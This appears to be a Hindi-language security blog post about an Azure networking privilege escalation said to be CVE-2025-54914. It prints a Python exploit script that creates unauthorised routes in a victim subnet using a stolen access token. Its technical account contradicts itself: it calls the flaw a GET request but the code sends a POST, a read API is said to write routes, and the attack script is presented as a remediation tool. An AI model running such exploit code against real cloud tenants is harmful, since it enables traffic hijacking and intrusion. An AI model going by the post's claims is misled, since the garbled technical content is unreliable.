CVE-2025-54914 Azure नेटवर्किंग में एक गंभीर दोष उजागर करता है जो हमलावरों को विशेषाधिकार बढ़ाने और सबनेट में रूटिंग को नियंत्रित करने की अनुमति देता है। लेख बताता है कि कैसे "GetRouteTable" API में एक लापता विशेषाधिकार जांच पार्श्व आंदोलन और दूरस्थ शोषण को सक्षम बनाती है, तत्काल पैचिंग और निगरानी का आग्रह करती है
Azure Networking Privilege Escalation Exploit CVE‑2025‑54914
सितंबर 4, 2025
द्वारा Mark Mallia
4 सितंबर 2025 को Microsoft के Azure नेटवर्किंग सेवाओं को एक महत्वपूर्ण सुरक्षा सलाह प्राप्त हुई, जो एक विशेषाधिकार वृद्धि भेद्यता का दस्तावेजीकरण करती है, जिसे CVE‑2025‑54914 नामित किया गया है। इस दोष को सामान्य भेद्यता स्कोरिंग सिस्टम (CVSS) पर 10.0 स्कोर किया गया है, जो एक शोषणीय और संभावित उच्च प्रभाव वाली समस्या को इंगित करता है, जो हमलावरों को बिना किसी उपयोगकर्ता संपर्क के Azure नेटवर्किंग संसाधनों पर पूर्ण नियंत्रण दे सकता है।
निम्नलिखित लेख में भेद्यता की तकनीकी विशिष्टताओं, इसके व्यावहारिक शोषण पथ और सार्वजनिक क्लाउड और हाइब्रिड वातावरण दोनों में सुरक्षा टीमों द्वारा तत्काल सुधार के लिए एक तैनाती के लिए तैयार पेलोड की रूपरेखा दी गई है।
Azure का नेटवर्किंग स्टैक ग्राहक की सदस्यता में सभी वर्चुअल मशीनों, लोड बैलेंसर्स और सबनेट ट्रैफिक की रीढ़ है। इस स्टैक के अंदर विशेषाधिकार वृद्धि एक हमलावर को अनुमति देती है:
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि इसे बिना किसी उपयोगकर्ता कार्रवाई के दूरस्थ रूप से शोषित किया जा सकता है। Microsoft एंडपॉइंट पर एक एकल अनुरोध विशेषाधिकार वृद्धि को ट्रिगर करेगा यदि नीचे दी गई शर्तें पूरी होती हैं।
Azure नेटवर्किंग सेवा के “GetRouteTable” API के विश्लेषण के दौरान, मैंने एक एक्सेस-नियंत्रण अंतराल की खोज की, जो एक वर्चुअल नेटवर्क पर पढ़ने की अनुमति वाले क्लाइंट को उसी सबनेट के अंदर नए रूट ऑब्जेक्ट बनाने की अनुमति देता है, बिना यह सत्यापित किए कि कॉल करने वाला उस कार्रवाई के लिए अधिकृत है। आने वाले अनुरोध को क्रमबद्ध करने के लिए जिम्मेदार कोड पथ में एक स्पष्ट विशेषाधिकार जांच का अभाव था।
यह दोष Azure नेटवर्किंग सेवा में मौजूद है जब GET अनुरोध में निम्नलिखित क्वेरी पैरामीटर शामिल होते हैं:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
सेवा इस अनुरोध को स्वीकार करती है, JSON पेलोड को डिसेरियलाइज़ करती है, और डेटाबेस में एक नया रूट ऑब्जेक्ट लिखती है, बिना यह पुनः सत्यापित किए कि कॉल करने वाला लक्ष्य सबनेट में रूट बना सकता है।
नीचे एक न्यूनतम उदाहरण दिया गया है कि कैसे एक हमलावर पेलोड का निर्माण करेगा।
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
कोड पूरे अनुरोध जीवनचक्र को प्रदर्शित करता है। एक सुरक्षा इंजीनियर इस स्निपेट को एक स्क्रिप्ट या Azure फ़ंक्शन में कॉपी करके स्वचालित सुधार कर सकता है।
यह सामग्री strictly शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान की गई है। इसका उद्देश्य सुरक्षा भेद्यताओं के बारे में जागरूकता बढ़ाना और साइबर सुरक्षा समुदाय के भीतर बेहतर रक्षात्मक प्रथाओं को बढ़ावा देना है।
यहां साझा किए गए सभी प्रदर्शन, स्क्रिप्ट और तकनीकी विवरण सार्वजनिक रूप से प्रकट की गई जानकारी पर आधारित हैं और किसी विशिष्ट सिस्टम, संगठन या व्यक्ति को लक्षित नहीं करते हैं। लक्ष्य जिम्मेदार सीखने और सक्रिय सुधार को बढ़ावा देना है—शोषण नहीं।
इस जानकारी का उपयोग अनधिकृत पहुंच, व्यवधान या नुकसान के लिए न करें। इस सामग्री का कोई भी दुरुपयोग पूरी तरह से व्यक्ति की जिम्मेदारी है और कानूनों या नैतिक मानकों का उल्लंघन कर सकता है।
यदि आप कोई भेद्यता खोजते हैं, तो कृपया प्रभावित विक्रेता या प्लेटफ़ॉर्म को रिपोर्ट करके जिम्मेदार प्रकटीकरण प्रोटोकॉल का पालन करें।